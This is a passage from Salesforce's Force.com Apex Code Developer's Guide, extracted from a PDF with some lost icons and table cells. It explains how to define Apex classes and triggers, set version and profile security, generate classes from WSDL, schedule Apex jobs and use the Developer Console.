Developer's Guide: Force.com Apex Code Developer's Guide
Author Apex
1995
Develop
4. In the class editor, enter the Apex code for the class. A single class can be up to 1 million characters in length, not including
comments, test methods, or classes defined using @isTest.
5. Click Save to save your changes and return to the class detail screen, or click Quick Save to save your changes and continue
editing your class. Your Apex class must compile correctly before you can save your class.
Once saved, classes can be invoked through class methods or variables by other Apex code, such as a trigger.
Note: To aid backwards-compatibility, classes are stored with the version settings for a specified version of Apex and
the API. If the Apex class references components, such as a custom object, in installed managed packages, the version
settings for each managed package referenced by the class is saved too. Additionally, classes are stored with an isValid
flag that is set to true as long as dependent metadata has not changed since the class was last compiled. If any changes
are made to object names or fields that are used in the class, including superficial changes such as edits to an object or
field description, or if changes are made to a class that calls this class, the isValid flag is set to false. When a
trigger or Web service call invokes the class, the code is recompiled and the user is notified if there are any errors. If
there are no errors, the isValid flag is reset to true.
See Also:
Apex Code Overview
Managing Apex Classes
Viewing Apex Classes
About Apex Unit Tests
Creating an Apex Class from a WSDL
Apex Class Security Overview
Managing Version Settings for Apex
Using the Editor for Visualforce or Apex
Developer's Guide: Force.com Apex Code Developer's Guide
Author Apex
To aid backwards-compatibility, classes are stored with the version settings for a specified version of Apex and the API. If the
Apex class references components, such as a custom object, in installed managed packages, the version settings for each managed
package referenced by the class is saved too. This ensures that as Apex, the API, and the components in managed packages
evolve in subsequent released versions, a class or trigger is still bound to versions with specific, known behavior.
A package version is a number that identifies the set of components uploaded in a package. The version number has the format
majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen value
1996
Develop
during every major release. The patchNumber is generated and updated only for a patch release. Publishers can use package
versions to evolve the components in their managed packages gracefully by releasing subsequent package versions without
breaking existing customer integrations using the package.
To set the Salesforce.com API and Apex version for a class or trigger:
1. Edit either a class or trigger, and click Version Settings.
2. Select the Version of the Salesforce.com API. This is also the version of Apex associated with the class or trigger.
3. Click Save.
To configure the package version settings for a class or trigger:
1. Edit either a class or trigger, and click Version Settings.
2. Select a Version for each managed package referenced by the class or trigger. This version of the managed package will
continue to be used by the class or trigger if later versions of the managed package are installed, unless you manually update
the version setting. To add an installed managed package to the settings list, select a package from the list of available
packages. The list is only displayed if you have an installed managed package that is not already associated with the class
or trigger.
3. Click Save.
Note the following when working with package version settings:
If you save an Apex class or trigger that references a managed package without specifying a version of the managed package,
the Apex class or trigger is associated with the latest installed version of the managed package by default.
You cannot Remove a class or trigger's version setting for a managed package if the package is referenced in the class or
trigger. Use Show Dependencies to find where a managed package is referenced by a class or a trigger.
See Also:
Apex Code Overview
Defining Apex Classes
Defining Apex Triggers
Managing Apex Classes
Managing Apex Triggers
Viewing Apex Classes
Apex Class Security Overview
Managing Packages
About Package Versions
Developer's Guide: Force.com Apex Code Developer's Guide
1997
Develop
Author Apex
An Apex class is a template or blueprint from which Apex objects are created. Classes consist of other classes, user-defined
methods, variables, exception types, and static initialization code. Once successfully saved, class methods or variables can be
invoked by other Apex code, or through the SOAP API (or AJAX Toolkit) for methods that have been designated with the
webService keyword.
The Apex Classes page enables you to create and manage Apex classes. To access the Apex Classes page, click Your Name >
Setup > Develop > Apex Classes.
To create an Apex class, from the Apex Classes page, click New and write your Apex code in the editor. See Defining Apex
Classes on page 1995.
While developers can write class methods according to the syntax outlined in the Force.com Apex Code Developer's Guide, classes
can also be automatically generated by consuming a WSDL document that is stored on a local hard drive or network. Creating
a class by consuming a WSDL document allows developers to make callouts to the external Web service in their Apex. From
the Apex Classes page, click Generate From WSDL to generate an Apex class from a WSDL document.
Once you have created an Apex class, you can do any of the following:
Click Edit next to the class name to modify its contents in a simple editor.
Click Del next to the class name to delete the class from your organization.
Note:
You can add, edit, or delete Apex using the Salesforce user interface only in a Developer Edition organization,
a Salesforce Enterprise Edition trial organization, or sandbox organization. In a Salesforce production
organization, you can only make changes to Apex by using the Metadata API deploy call, the Force.com
IDE, or the Force.com Migration Tool. The Force.com IDE and Force.com Migration Tool are free resources
provided by salesforce.com to support its users and partners, but are not considered part of our Services for
purposes of the salesforce.com Master Subscription Agreement.
You cannot delete a class that is specified as a controller for a Visualforce page or component.
A icon indicates that an Apex class was released in a managed package. Apex classes in packages have special
considerations. For more information, see the Force.com Quick Reference for Developing Packages.
A icon indicates that an Apex class is in an installed managed package. You cannot edit or delete a class in
a managed package.
A icon indicates that an Apex class in a previously released managed package will be deleted on the next
package upload. You can choose to undelete the Apex class through the package detail page. See Deleting
Components From Managed Packages
1998
Develop
If an Apex class has any methods defined as a webService, you can click WSDL next to the class name to generate a
WSDL document from the class contents. This document contains all of the information necessary for a client to consume
Apex Web service methods. All class methods with the webService keyword are included in the resulting WSDL
document.
Click Security next to the class name to select the profiles that are allowed to execute methods in the class from top-level
entry points, such as Web service methods. For classes that are installed in your organization as part of a managed package,
this link only displays for those defined as global.
Click Calculate your organization's code coverage to find out how much of the Apex code in your organization is currently
covered by unit tests. This percentage is based on the latest test results of tests that youve already executed. If you have no
test results or if youve cleared code coverage results, code coverage is listed at 0%. For more information, see About Apex
Unit Tests on page 2037.
Note: The code coverage value computed by Calculate your organization's code coverage might differ from the
code coverage value computed after running all unit tests using Run All Tests. This is because Calculate your
organization's code coverage excludes classes that are part of installed managed packages while Run All Tests
doesn't.
Click the percentage number in the Code Coverage column to see which lines in a class have been covered by Apex unit
tests.
Click Clear Code Coverage to reset the code coverage results for all Apex triggers and classes to 0%.
If you have unit tests in at least one Apex class, click Run All Tests to run all the unit tests in your organization. For more
information, see About Apex Unit Tests on page 2037.
Click Compile all classes to compile all the Apex classes in your organization. If you have classes that are installed from
a managed package and that have test methods or are test classes, you must compile these classes first before you can view
them and run their test methods from the Apex Test Execution page. Managed package classes can be compiled only
through the Compile all classes link because they cannot be saved. Otherwise, saving Apex classes that aren't from a
managed package causes them to be recompiled. This link compiles all the Apex classes in your organization, whether or
not they are from a managed package.
Note: The namespace prefix is added to Apex classes and triggers, Visualforce components and pages, brand templates,
folders, s-controls, static resources, web links, and custom report types if they are included in a managed package.
However, if you don't have customize application permissions, the namespace prefix field is not displayed for brand
templates, folders, and custom report types. For more information on namespace prefixes, see Registering a Namespace
Prefix on page 1944.
See Also:
Apex Code Overview
Defining Apex Classes
Viewing Apex Classes
Creating an Apex Class from a WSDL
Apex Class Security Overview
Understanding Dependencies
About Apex Unit Tests
Developer's Guide: Force.com Apex Code Developer's Guide
1999
Develop
Author Apex
After you have created a class, you can view the code contained in the class, as well as the API against which the class was
saved, and whether the class is valid or active. Click Your Name > Setup > Develop > Apex Classes, then click the name of
the class you want to view. While viewing a class, you can do any of the following:
If your class has a method defined as a webService, click Generate WSDL to generate a WSDL document based on
the class.
Note: You cannot generate a WSDL document for classes defined as isTest.
2000
Develop
The Class Summary tab displays the prototype of the class; that is, the classes, methods and variables that are available to
other Apex code. The Class Summary tab lists the access level and signature for each method and variable in an Apex class,
as well as any inner classes. If there is no prototype available, this tab is not available.
Note:
For Apex classes not included in managed packages, only classes, methods and variables defined as either global
or public are displayed.
For Apex classes included in managed packages, the Class Summary tab also lists the package version a particular
property or method was introduced. You can select a version number from the drop-down list to see the prototype
for the selected package version. The default value is the current installed version. A package developer can deprecate
an Apex method and upload a new package version, thus exposing an Apex class with a different prototype. Only
classes, methods and variables defined as global are displayed in prototypes for managed package classes.
If an Apex class references components in installed managed packages, such as another class, trigger, or custom object, the
Version Settings tab lists the package versions of the packages containing the referenced components.
The Log Filters tab displays the debug log categories and debug log levels that you can set for the class. For more information,
see Debug Log Filtering for Apex Classes and Apex Triggers on page 2053.
See Also:
Apex Code Overview
Managing Apex Classes
Defining Apex Classes
About Apex Unit Tests
Creating an Apex Class from a WSDL
Apex Class Security Overview
Using the Editor for Visualforce or Apex
About Package Versions
Managing Version Settings for Apex
Developer's Guide: Force.com Apex Code Developer's Guide
Author Apex
An Apex class can be automatically generated from a WSDL document that is stored on a local hard drive or network. Creating
a class by consuming a WSDL document allows developers to make callouts to the external Web service in their Apex.
2001
Develop
Note: Use Outbound Messaging to handle integration solutions when possible. Use callouts to third-party Web
services only when necessary.
To access this functionality:
1. In the application, click Your Name > Setup > Develop > Apex Classes.
2. Click Generate from WSDL.
3. Click Browse to navigate to a WSDL document on your local hard drive or network, or type in the full path. This WSDL
document is the basis for the Apex class you are creating.
Note:
The WSDL document that you specify might contain a SOAP endpoint location that references an outbound
port.
For security reasons, Salesforce restricts the outbound ports you may specify to one of the following:
4. Click Parse WSDL to verify the WSDL document contents. The application generates a default class name for each
namespace in the WSDL document and reports any errors. Parsing will fail if the WSDL contains schema types or schema
constructs that are not supported by Apex classes, or if the resulting classes exceed 1 million character limit on Apex classes.
For example, the Salesforce SOAP API WSDL cannot be parsed.
5. Modify the class names as desired. While you can save more than one WSDL namespace into a single class by using the
same class name for each namespace, Apex classes can be no more than 1 million characters total.
6. Click Generate Apex. The final page of the wizard shows which classes were successfully generated, along with any errors
from other classes. The page also provides a link to view successfully generated code.
The successfully-generated Apex class includes stub and type classes for calling the third-party Web service represented by
the WSDL document. These classes allow you to call the external Web service from Apex. For an example, see the Force.com
Apex Code Developer's Guide.
Note the following about the generated Apex:
If a WSDL document contains an Apex reserved word, the word is appended with _x when the Apex class is generated.
For example, limit in a WSDL document converts to limit_x in the generated Apex class. For a list of reserved words,
see the Force.com Apex Code Developer's Guide.
If an operation in the WSDL has an output message with more than one element, the generated Apex wraps the elements
in an inner class. The Apex method that represents the WSDL operation returns the inner class instead of the individual
elements.
See Also:
Apex Code Overview
Managing Apex Classes
Viewing Apex Classes
Defining Apex Classes
Apex Class Security Overview
Developer's Guide: Force.com Apex Code Developer's Guide
2002
Develop
You can specify which users can execute methods in a particular top-level Apex class based on their profile or an associated
permission set. These permissions only apply to Apex class methods, such as Web service methods, or any method used in a
custom Visualforce controller or controller extension applied to a Visualforce page. Triggers always fire on trigger events (such
as insert or update), regardless of a user's permissions.
Note: If you have installed a managed package in your organization, you can set security only for the Apex classes in
that package that are declared as global, or for classes that contain methods declared as webService.
If users have the Author Apex permission, they can access all Apex classes in the associated organization, regardless
of the security setting for individual classes.
Permission for an Apex class is checked at the top level only. For example, if class A calls class B, and a user profile has access
only to class A but not class B, the user can still execute the code in class A. Likewise, if a Visualforce page uses a custom
component with an associated controller, security is only checked for the controller associated with the page. The controller
associated with the custom component executes regardless of permissions.
You can set Apex class security via:
See Also:
Apex Code Overview
Managing Apex Classes
Visualforce Overview
Developer's Guide: Force.com Apex Code Developer's Guide
2003
Develop
Author Apex
AND
Customize Application
1. Click Your Name > Setup > Develop > Apex Classes.
2. Next to the name of the class that you want to restrict, click Security.
3. Select the profiles that you want to enable from the Available Profiles list and click Add, or select the profiles that you
want to disable from the Enabled Profiles list and click Remove.
4. Click Save.
See Also:
Apex Class Security Overview
Author Apex
AND
Customize Application
1.
2.
3.
4.
Click Your Name > Setup > Develop > Apex Classes.
Click the name of the class that you want to restrict.
Click Security.
Select the profiles that you want to enable from the Available Profiles list and click Add, or select the profiles that you
want to disable from the Enabled Profiles list and click Remove.
2004
Develop
5. Click Save.
See Also:
Apex Class Security Overview
Manage Users
You can specify which methods in a top-level Apex class are executable for a permission set. These settings only apply to Apex
class methods, such as Web service methods, or any method used in a custom Visualforce controller or controller extension
applied to a Visualforce page. Triggers always fire on trigger events (such as insert or update), regardless of permission
settings.
1.
2.
3.
4.
5.
Click Your Name > Setup > Manage Users > Permission Sets.
Select a permission set.
Click Apex Class Access.
Click Edit.
Select the Apex classes that you want to enable from the Available Apex Classes list and click Add, or select the Apex
classes that you want to disable from the Enabled Apex Classes list and click Remove.
6. Click Save.
See Also:
Apex Class Security Overview
Permission Sets Overview
2005
Develop
Manage Users
You can specify which methods in a top-level Apex class are executable for a profile. These settings only apply to Apex class
methods, such as Web service methods, or any method used in a custom Visualforce controller or controller extension applied
to a Visualforce page. Triggers always fire on trigger events (such as insert or update), regardless of profile settings.
1.
2.
3.
4.
Click Your Name > Setup > Manage Users > Profiles.
Select a profile.
In the Apex Class Access page or related list, click Edit.
Select the Apex classes that you want to enable from the Available Apex Classes list and click Add, or select the Apex
classes that you want to disable from the Enabled Apex Classes list and click Remove.
5. Click Save.
See Also:
Apex Class Security Overview
User Profiles Overview
Author Apex
Apex triggers are stored as metadata in the application under the object with which they are associated.
Note: You can add, edit, or delete Apex using the Salesforce user interface only in a Developer Edition organization,
a Salesforce Enterprise Edition trial organization, or sandbox organization. In a Salesforce production organization,
you can only make changes to Apex by using the Metadata API deploy call, the Force.com IDE, or the Force.com
Migration Tool. The Force.com IDE and Force.com Migration Tool are free resources provided by salesforce.com
to support its users and partners, but are not considered part of our Services for purposes of the salesforce.com Master
Subscription Agreement.
2006
Develop
To define a trigger:
1. For a standard object, click Your Name > Setup > Customize, click the name of the object, then click Triggers.
For a custom object, click Your Name > Setup > Create > Objects and click the name of the object.
For campaign members, click Your Name > Setup > Customize > Campaigns > Campaign Member > Triggers.
For case comments, click Your Name > Setup > Customize > Cases > Case Comments > Triggers.
For email messages, click Your Name > Setup > Customize > Cases > Email Messages > Triggers.
For the Attachment, ContentDocument, and Note standard objects, you cant create a trigger in the Salesforce user interface.
For these objects, create a trigger using development tools, such as the Developer Console or the Force.com IDE.
Alternatively, you can also use the Metadata API.
2. In the Triggers related list, click New.
3. Click Version Settings to specify the version of Apex and the API used with this trigger. If your organization has installed
managed packages from the AppExchange, you can also specify which version of each managed package to use with this
trigger. Use the default values for all versions. This associates the trigger with the most recent version of Apex and the
API, as well as each managed package. You can specify an older version of a managed package if you want to access
components or functionality that differs from the most recent package version.
4. Select the Is Active checkbox if the trigger should be compiled and enabled. Leave this checkbox deselected if you only
want to store the code in your organization's metadata. This checkbox is selected by default.
5. In the Body text box, enter the Apex for the trigger. A single trigger can be up to 1 million characters in length.
To define a trigger, use the following syntax:
trigger triggerName on ObjectName (trigger_events) {
code_block
}
where trigger_events can be a comma-separated list of one or more of the following events:
before insert
before update
before delete
after insert
after update
after delete
after undelete
Note:
You can only use the webService keyword in a trigger when it is in a method defined as asynchronous; that
is, when the method is defined with the @future keyword.
A trigger invoked by an insert, delete, or update of a recurring event or recurring task results in a runtime
error when the trigger is called in bulk from the Force.com API.
6. Click Save.
Note: Triggers are stored with an isValid flag that is set to true as long as dependent metadata has not changed
since the trigger was last compiled. If any changes are made to object names or fields that are used in the trigger,
including superficial changes such as edits to an object or field description, the isValid flag is set to false until the
2007
Develop
Apex compiler reprocesses the code. Recompiling occurs when the trigger is next executed, or when a user re-saves
the trigger in metadata.
If a lookup field references a record that has been deleted, Salesforce clears the value of the lookup field by default.
Alternatively, you can choose to prevent records from being deleted if theyre in a lookup relationship.
See Also:
Apex Code Overview
Managing Apex Triggers
Managing Version Settings for Apex
Using the Editor for Visualforce or Apex
Developer's Guide: Force.com Apex Code Developer's Guide
Author Apex
A trigger is Apex code that executes before or after specific data manipulation language (DML) events occur, such as before
object records are inserted into the database, or after records have been deleted.
Triggers are stored as metadata in Salesforce. A list of all triggers in your organization is located at Your Name > Setup >
Develop > Apex Triggers. In addition to this list, triggers are associated and stored with specific objects. For standard objects,
triggers are located at Your Name > Setup > Customize > Standard_Object_Name > Triggers, and on the object detail
page for custom objects at Your Name > Setup > Create > Objects > Custom_Object_Name.
Note: The namespace prefix is added to Apex classes and triggers, Visualforce components and pages, brand templates,
folders, s-controls, static resources, web links, and custom report types if they are included in a managed package.
However, if you don't have customize application permissions, the namespace prefix field is not displayed for brand
templates, folders, and custom report types. For more information on namespace prefixes, see Registering a Namespace
Prefix on page 1944.
Click New to create an Apex trigger.
Note: You can only create triggers from the associated object, not from the Apex Triggers page.
Click Edit next to the trigger name to modify its contents in a simple editor.
Click Del next to the trigger name to delete the trigger from your organization.
2008
Develop
Click the percentage number in the Code Coverage column to see which lines in a trigger have been covered by Apex unit
tests.
Note:
You can add, edit, or delete Apex using the Salesforce user interface only in a Developer Edition organization, a
Salesforce Enterprise Edition trial organization, or sandbox organization. In a Salesforce production organization,
you can only make changes to Apex by using the Metadata API deploy call, the Force.com IDE, or the Force.com
Migration Tool. The Force.com IDE and Force.com Migration Tool are free resources provided by salesforce.com
to support its users and partners, but are not considered part of our Services for purposes of the salesforce.com
Master Subscription Agreement.
A icon indicates that an Apex trigger is in an installed managed package. You cannot edit or delete a trigger in
a managed package.
A icon indicates that an Apex trigger in a previously released managed package will be deleted on the next
package upload. You can choose to undelete the Apex trigger through the package detail page. See Deleting
Components From Managed Packages
See Also:
Apex Code Overview
Defining Apex Triggers
Viewing Apex Trigger Details
Understanding Dependencies
Developer's Guide: Force.com Apex Code Developer's Guide
Author Apex
Apex triggers are stored as metadata in the application under the object with which they are associated. You can also view all
triggers by clicking Your Name > Setup > Develop > Apex Triggers.
Note: You can add, edit, or delete Apex using the Salesforce user interface only in a Developer Edition organization,
a Salesforce Enterprise Edition trial organization, or sandbox organization. In a Salesforce production organization,
you can only make changes to Apex by using the Metadata API deploy call, the Force.com IDE, or the Force.com
Migration Tool. The Force.com IDE and Force.com Migration Tool are free resources provided by salesforce.com
to support its users and partners, but are not considered part of our Services for purposes of the salesforce.com Master
Subscription Agreement.
To view the details for a trigger, click Your Name > Setup > Develop > Apex Triggers, then click the name of the trigger.
You can also access the trigger details from the object. For a standard object, click Your Name > Setup > Customize, click
2009
Develop
the name of the object, click Triggers, then click the name of the trigger. For a custom object, click Your Name > Setup >
Create > Objects, click the name of the object, then click the name of the trigger.
From the trigger detail page, you can do any of the following:
The trigger detail page shows the following information for a trigger:
The Log Filters tab displays the debug log categories and debug log levels that you can set for the trigger. For more information,
see Debug Log Filtering for Apex Classes and Apex Triggers on page 2053.
See Also:
Apex Code Overview
Managing Apex Triggers
Defining Apex Triggers
About Package Versions
Managing Version Settings for Apex
Developer's Guide: Force.com Apex Code Developer's Guide
2010
Develop
Scheduling Apex
Scheduling Apex
Available in: Unlimited, Developer, Enterprise, and Database.com Editions
Use the Apex scheduler if you have specific Apex classes that you want to run on a regular basis, or to run a batch Apex job
using the Salesforce user interface.
The scheduler runs as system: all classes are executed, whether the user has permission to execute the class or not. For more
information about class permissions, see Apex Class Security Overview on page 2003.
Important: Salesforce only adds the process to the queue at the scheduled time. Actual execution may be delayed
based on service availability.
To schedule jobs using the Apex scheduler:
1.
2.
3.
4.
Implement the Schedulable interface in an Apex class that instantiates the class you want to run.
Click Your Name > Setup > Develop > Apex Classes and click Schedule Apex.
Specify the name of a class that you want to schedule.
Specify how often the Apex class is to run.
For Weeklyspecify one or more days of the week the job is to run (such as Monday and Wednesday).
For Monthlyspecify either the date the job is to run or the day (such as the second Saturday of every month.)
5. Specify the start and end dates for the Apex scheduled class. If you specify a single day, the job only runs once.
6. Specify a preferred start time. The exact time the job starts depends on what other jobs are in the queue at that time.
7. Click Save.
Note: You can only have ten active or scheduled jobs concurrently.
After you schedule an Apex job, you can monitor the progress of the job on the All Scheduled Jobs page.
Once the job has completed, you can see specifics about the job (such as whether it passed or failed, how long it took to process,
the number of records process, and so on) on the Apex Jobs page.
See Also:
Apex Code Overview
Defining Apex Classes
Monitoring the Apex Job Queue
Developer's Guide: Force.com Apex Code Developer's Guide
2011
Develop
Author Apex
Author Apex
Customize Application
The Developer Console is a collection of tools you can use to analyze and troubleshoot applications in your Salesforce
organization. Its a popup window composed of a set of related tools that allow you to access your source code and review how
it executes. It can also be used to monitor database events, workflows, callouts, validation logic, cumulative resources used
versus system limits, and other events that are recorded in debug logs. Its a context-sensitive execution viewer, showing the
source of an operation, what triggered that operation, and what occurred afterward.
To open the Developer Console, click Your Name > Developer Console.
To learn about the Developer Console user interface, see Navigating within the Developer Console on page 2013.
To learn about Developer Console tools, see Working with Views in the Developer Console on page 2021.
To learn about some typical ways to use the Developer Console, for example, evaluating Apex triggers, tracking DML, or
monitoring performance, see Examples of Using the Developer Console on page 2033.
Tip: Watch the video Using the Developer Console to Edit, Execute, and Debug Apex Classes to learn how to open
and navigate through Apex classes, execute Apex code, verify code performance, and generate a heap dump to inspect
objects in memory.
2012
Develop
The Developer Console allows you to create and edit source code within the Developer Console itself, letting you inspect,
trace, and edit your code all in the same tool. The Repository tab allows you to quickly browse through and open your source
code. You can open a working set of source code views and switch between them with a single click. You can open and edit
Apex triggers, classes, and Visualforce pages and components, and you can open a read-only view of your object definitions.
You can also navigate the contents of packages created in your organization.
Performance Validation
The Developer Console has a number of panels dedicated to the inspection of performance. Open a debug log and view the
aggregated performance of an operation in the Performance Tree. Review the Executed Units tab, which breaks up the request
both by time and type. This tab categorizes the timings by methods, queries, workflows, callouts, DML, validations, triggers,
and pages, which gives you a clear idea of where to find performance issues. The Timeline tab provides a timeline view of the
overall request. Within this view, you can review each of the timeline blocks, which interactively filters the corresponding log,
allowing you to walk through the events for a given block. The Limits panel provides a summary view of resources used and
maps them against your allocated request limits.
2013
Develop
You can collapse the navigation panel and some subpanels of different detail views using the
top right corner of the panel, to allow a larger viewing area for items being examined.
, or
button in the
A workspace is a collection of tabs (also called views) located in the lower panel of the Developer Console. A tab can contain
a log, source code, a heap dump, or an object view.
You can create a workspace for each group of tabs that you use together. Then, while youre working in the Developer Console,
switch between workspaces to keep your work organized. For example, the Apex Workbook creates and edits the classes
KitchenUtility, Fridge, and Toaster. While working on the Apex Workbook, you can create a workspace called Apex Workbook
Source for these classes. You can then create a workspace called Apex Workbook Test for the debug logs. Switch between the
workspaces as you code and test.
See Creating and Deleting Workspaces in the Developer Console on page 2022.
LogsOpen debug logs and capture new logs from actions you take in your organization.
Heap DumpsOpen heap dumps. Heap dumps are snapshots of the state of execution. They contain objects, variables,
references to and from instantiated objects, and links to the related source code.
RepositoryOpen objects, Apex classes, triggers, Visualforce pages, and so on.
Note:
A limited number of customers wont see the Heap Dumps tab. Contact salesforce.com if you want to examine heap
dumps in your organization, but dont see the Heap Dumps tab.
Logs Tab
Use the Logs tab to browse to and open debug logs that include database events, Apex processing, workflow, callouts, and
validation logic.
To open a log, double-click it or select it and click Open. The log opens in a new System Log tab in the workspace.
The Developer Console automatically polls for the current users debug logs. After opening the Developer Console and clicking
the Logs tab, run something that generates a debug log. For example, if you have validation rules associated with inserting a
new record, insert a new record. The Developer Console automatically captures a debug log for the request and adds it to the
logs list.
To learn more about using the System Log view to review a debug log, evaluate Apex code, track DML, or monitor performance,
see The System Log View on page 2023.
List of Debug Logs
You can filter which logs are displayed in the list of debug logs.
2014
Develop
1. Click Open to open the selected log in a new System Log view.
2. Click Open Raw Log to open the selected log in a plain text view that displays the unformatted contents of the debug log.
3. Click Auto Hide Logs to automatically hide all existing logs the next time the page is refreshed. This button is a toggle:
click the button a second time to display all logs.
4. Click Clear to remove all logs from the list.
Tip: If you are monitoring debug logs for a user, those logs are still accessible from the Debug Log page. Click
Your Name > Setup > Monitoring > Debug Logs.
5. Select This Session Only to display only logs generated by you since opening the Developer Console. Deselect to see all
debug logs currently saved for your organization, including those created by monitoring users.
6. Filter the logs by clicking Filter and entering text. For example, if you only want to see a specific user's debug logs, filter
by that user's name. The filter is case-sensitive.
Setting Logging Levels
Select Workspace: Name > Log Levels to specify the logging levels for future requests. Logging levels determine how much
request information is saved in a debug log. Parsing a large log can take a long time. To reduce the size of a log, adjust the
logging level. Use verbose logging for code youre reviewing. Use terse logging for code youre not interested in.
To generate heap dumps, set the Apex Code logging level to finer or finest.
To fine-tune the log verbosity at the trigger and class level, you can set debug log filters for Apex classes and triggers.
Execute Anonymous Apex Code
You can run brief Apex code snippets in the Developer Console to generate debug logs that cover specific application logic.
These code snippets run as if you had executed them using ExecuteAnonymous. A debug log with the results of the execution
appears in the Logs list. To analyze the log, open it in System Log view.
1. Click the Execute text box.
2015
Develop
Click
3. After the code executes, the system generates a debug log. To open the log in System Log view, select Open Log. Otherwise,
click the Logs tab and browse to the log to open it.
4. To execute code, do one of the following:
2016
Develop
To capture new heap dumps, set capture markers in your code. See Enabling Heap Dump Captures in Apex Code.
To learn more about some typical ways you might use a Heap Dump Inspector tab, for example to evaluate why a branch of
execution is or isnt being taken or to verify the expected contents of a variable, see Heap Dump Inspector on page 2028.
Heap Dumps List
The Heap Dumps list contains the heap dumps currently available for review. Select This Session Only to only display heap
dumps generated since opening the Developer Console. Deselect to display all heap dumps currently saved for your organization.
Each heap dump in the list displays this information:
Column
Description
Namespace
The namespace of the package containing source code marked to capture this heap dump.
Class
The Apex class containing the source code marked to capture this heap dump.
Line
Time
Tip: Right click any column header to sort the information in the column. You can also select which columns you
want displayed in the Heap Dumps list.
Description
File
The name of the Apex class that contains a marker to capture a heap dump.
Line
Iteration
If the heap dump marker is in a loop, this value indicates the iteration at which the heap dump is
captured.
2017
Develop
By default the iteration is 1, which means that the heap dump is captured the first time the line of source code executes. You
can double-click the iteration number and change it, for example, to investigate why a loop does not terminate when expected.
Only one heap dump will be captured for a specific line of code, no matter how many times its executed during a request.
For details about how to set new heap dump capture markers in your source code, see The Source Code View on page 2030.
Overlaying Apex Code and SOQL Statements
When troubleshooting a runtime issue, you might want information about the state of a variable or the state of the database.
You might also want to create a specific condition in which to test your code. Use the Developer Console to overlay a diagnostic
output on the run without instrumenting the code. Write Apex code and SOQL statements that run when code at a heap
dump location executes.
1. Select a heap dump location.
4. To run the diagnostic code without generating a heap dump, deselect Dump Heap.
5. Enter SOQL or Apex code in the script box and click OK.
Note:
You cant refer to local objects because an anonymous block is a new stack frame. Refer to static objects or create new
objects. Also, you can't use bind variables in SOQL queries used in overlays.
View the results of a SOQL query in Query Results view:
2018
Develop
To create a new record for the outer entity of the select statement, click Create New.
To open a records detail page in Salesforce, select the row and click Open Detail Page.
To edit a record in Salesforce, select the row and click Edit Page.
View Apex execution results in Apex Execution Results view:
2019
Develop
Note: The value -1 for exceptionColumn and exceptionLine indicates that these fields are not applicable.
Repository Tab
Use the Repository tab to browse to and open your application code and data objects. To navigate to an item:
1. In the Setup Entity Type column, click the type of the item you'd like to look at.
2. In the Entities column, scroll and find the item you'd like to examine.
3. Click the item once to see related items in the Related column. For example, click on an object to see the Apex classes
that use it.
4. Double-click an item to open it in a new tab. You can also open an item by selecting it and clicking Open.
Note: Source code such as Apex classes, triggers, and Visualforce pages and components open in a Source Code
editor, while objects open in a Schema Quick View.
2020
Develop
1. NewCreates a new Apex class or trigger, or Visualforce page or component, depending on which entity type you have
selected in the Setup list. To create a new Apex trigger, first select the object on which to create the trigger.
2. OpenOpens the selected item, an alternative to double-clicking.
3. Close AllCloses all tabs open in the detail area. If any tab contains unsaved changes, youll be prompted to save them.
4. Save AllSaves changes in all tabs open in your workspace. This allows you to save a set of dependent changes.
5. DeleteDeletes the selected item. You can only delete Apex classes, triggers, and Visualforce pages.
6. You can filter which items are displayed in the Repository browser. Click the Filter text entry box and enter a text string
to display only items that match the filter criteria. The search is case-sensitive.
Note: You can't modify custom objects in the Developer Console. To create, edit, or delete custom objects, click Your
Name > Setup > Create > Objects to work with your custom objects.
You can collapse the top, bottom, and many sub-panels using the
, ,
working with the information-rich System Log and Source Code views.
, or
2021
Develop
When collapsed, you can click a panel to temporarily reveal and use it. When your cursor moves out of the panel, it collapses
automatically.
BackwardCTRL+,
ForwardCTRL+.
Clicking
the
moves through your previously viewed tabs in the order that you viewed them. When you click the
button,
2022
Develop
Stack
Back trace
Execution log
Execution log filter controls
Source window
Variables
Executed Units tab
Limits tab
Timeline tab
2023
Develop
Many sections of the System Log view refresh automatically and display related information when you click on an item. For
example, if you click a folder labeled handleProductPriceChange in the stack section, these sections are updated to display
information about that trigger:
Back trace
Execution log
Source
Similarly, if you click a line in the execution log, the stack, back trace, and source are all updated. Clicking items in the Executed
Units tab also updates the execution log, stack, back trace, and source sections.
Stack and Back Trace
The stack section displays two tree structures of the debug log: the execution tree and the performance tree. The stack trees
display information top downfrom initiating calls to the next level down, and so on. Use the stack trees to see the hierarchy
of items as they are called in the process. For example, if a class calls a second class, the second class displays as a child node
of the first class.
The execution tree displays each operation. The performance tree aggregates operations to give you a better look at the
performance of an operation as a whole. For example, if a for loop calls System.debug() 10 times, you see the duration
of each call in the execution tree:
2024
Develop
In the performance tree, the calls are aggregated so you see the total duration of every call to debug from hello:
This example calls debug only from the hello method. If there are calls to debug from other locations, they are aggregated
in those nodes. Calls from all locations are aggregated in the executed unit.
The back trace (the panel below the stack) contains a bottom up view of the currently-selected item in the debug log, starting
with the lowest level call, followed by the operation that triggered that call, and so on. Each item in the stack and in the back
trace has this information:
Column
Description
Scope
Unit
Duration
Heap
Execution Log
The execution log contains the debug log for the process. The debug log contains every action that occurred in the process,
such as method calls, workflow rules, and DML operations. Hover over long lines in the section to display a popup of the
entire line.
2025
Develop
Use the execution log to retrace the steps through a process. You can step through lines on your own. You can also use one of
the following to filter the debug log to lines of specific interest:
1. This FrameDisplays only this region of the process. For example, if you click CODE_UNIT_STARTED and This Frame,
the execution log displays only the items in the process that occur between CODE_UNIT_STARTED and its associated
CODE_UNIT_ENDED. This displays only the items that are associated with that level. For example, if you have a trigger
that calls a class, only the trigger operations are displayed in the execution log.
2. ExecutableDisplays only the executable items in the debug log. This hides the cumulative limits information, such as
the number of SOQL queries made, the number of DML rows, and so on.
Tip: View the execution log with Executable checked. Only deselect it when you are working on optimizing your
process and need the limits information.
3. FilterDisplays items that match what you enter in the Filter field. For example, if you type DML, all the lines in the
execution log with the string DML in either the event or details are displayed. The filter is case-sensitive.
You can also click Download to download a copy of the debug log as a text file. The default name for the file is apex.log.
The execution log panel contains this information:
Column
Description
Timestamp
System time when the process began. This is shown in the local user's time. The format is:
HH:MM:SS:MSS.
Event
Debug event.
Details
Additional details pertaining to the event, such as line number and parameters.
Source
The source panel contains the executed source code or the metadata definitions of entities used during the process. What's
displayed in the source section depends on what's selected elsewhere in the System Log view. The source section also lists how
many times a line of code was executed.
Enter a line number in the entry box at the bottom of the source panel and click Jump to go to a specific line of code.
2026
Develop
